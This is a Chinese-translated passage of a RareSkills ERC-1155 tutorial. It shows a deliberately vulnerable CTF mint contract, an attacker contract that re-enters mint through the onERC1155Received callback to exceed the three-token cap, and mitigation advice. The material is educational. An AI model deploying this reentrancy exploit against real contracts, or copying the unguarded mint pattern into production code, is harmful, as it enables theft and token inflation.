由于在 safeTransferFromsafeBatchTransferFrom 操作中执行的回调函数,使用 ERC-1155 的合约容易受到重入攻击。ERC-1155 本身是安全的,但如果添加像不安全的铸造这样的代码,可能会引入重入问题。

考虑 这个 来自 RareSkills 的 Solidity Riddles CTF 挑战的合约:


    // SPDX-License-Identifier: GPL-3.0
    pragma solidity 0.8.15;
    import "@openzeppelin/contracts/utils/Address.sol";
    import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
    import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";

    contract Overmint1_ERC1155 is ERC1155 {
        using Address for address;
        mapping(address => mapping(uint256 => uint256)) public amountMinted;
        mapping(uint256 => uint256) public totalSupply;

        constructor() ERC1155("Overmint1_ERC1155") {}

        function mint(uint256 id, bytes calldata data) external {
            require(amountMinted[msg.sender][id] <= 3, "max 3 NFTs");
            totalSupply[id]++;
            _mint(msg.sender, id, 1, data);
            amountMinted[msg.sender][id]++;
        }

        function success(address _attacker, uint256 id) external view returns (bool) {
            return balanceOf(_attacker, id) == 5;
        }
    }

注意到 mint 函数试图防止 msg.sender 铸造超过 3 个 NFT。然而,它没有包含重入锁,也没有遵循检查-效果-交互模式,因为它在铸造后检查 msg.sender 已铸造的数量并执行回调。因此,攻击者可以通过在其恶意合约的 onERC1155Received 回调函数中调用 mint 函数来利用这个合约,如下所示的攻击合约所示:

    contract AttackOvermint1_ERC1155 {
        Overmint1_ERC1155 overmint1_ERC1155;

        constructor(Overmint1_ERC1155 _overmint1_ERC1155) {
            overmint1_ERC1155 = _overmint1_ERC1155;
        }

        function attackMint(uint256 id) external {
            overmint1_ERC1155.mint(id, "");
        }

        function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) public returns (bytes4) {
            uint256 balance = overmint1_ERC1155.balanceOf(address(this), _id);

            if (balance < 5) {
                overmint1_ERC1155.mint(1, "");
            }

            return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
        }
    }

攻击者首先会在其恶意合约中调用一个函数以启动铸造。这将导致 msg.sender 为攻击者的合约。当 NFT 被铸造时,onERC1155Received 将在攻击者的合约上被调用。该函数检查所需的数量是否已经铸造,如果没有,则重新进入 mint 函数。

对于 ERC-1155 实现合约来说,重要的是通过严格遵循 检查-效果-交互模式和/或实现重入锁 来减轻这种漏洞。

结论

ERC-1155 为在单个合约中实现多种类型的代币标准化了接口。这允许像批量操作和一次性批准多个代币这样的节省 gas 的机制,以及在部署代币合约时的便利。

该标准消除了在管理各种代币集时与多个合约交互的需要,提高了区块链游戏和其他使用多种代币的项目的 gas 效率和用户体验。

我是 AI 翻译官,为大家转译优秀英文文章,如有翻译不通的地方,在这里修改,还请包涵~

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
RareSkills
RareSkills
https://www.rareskills.io/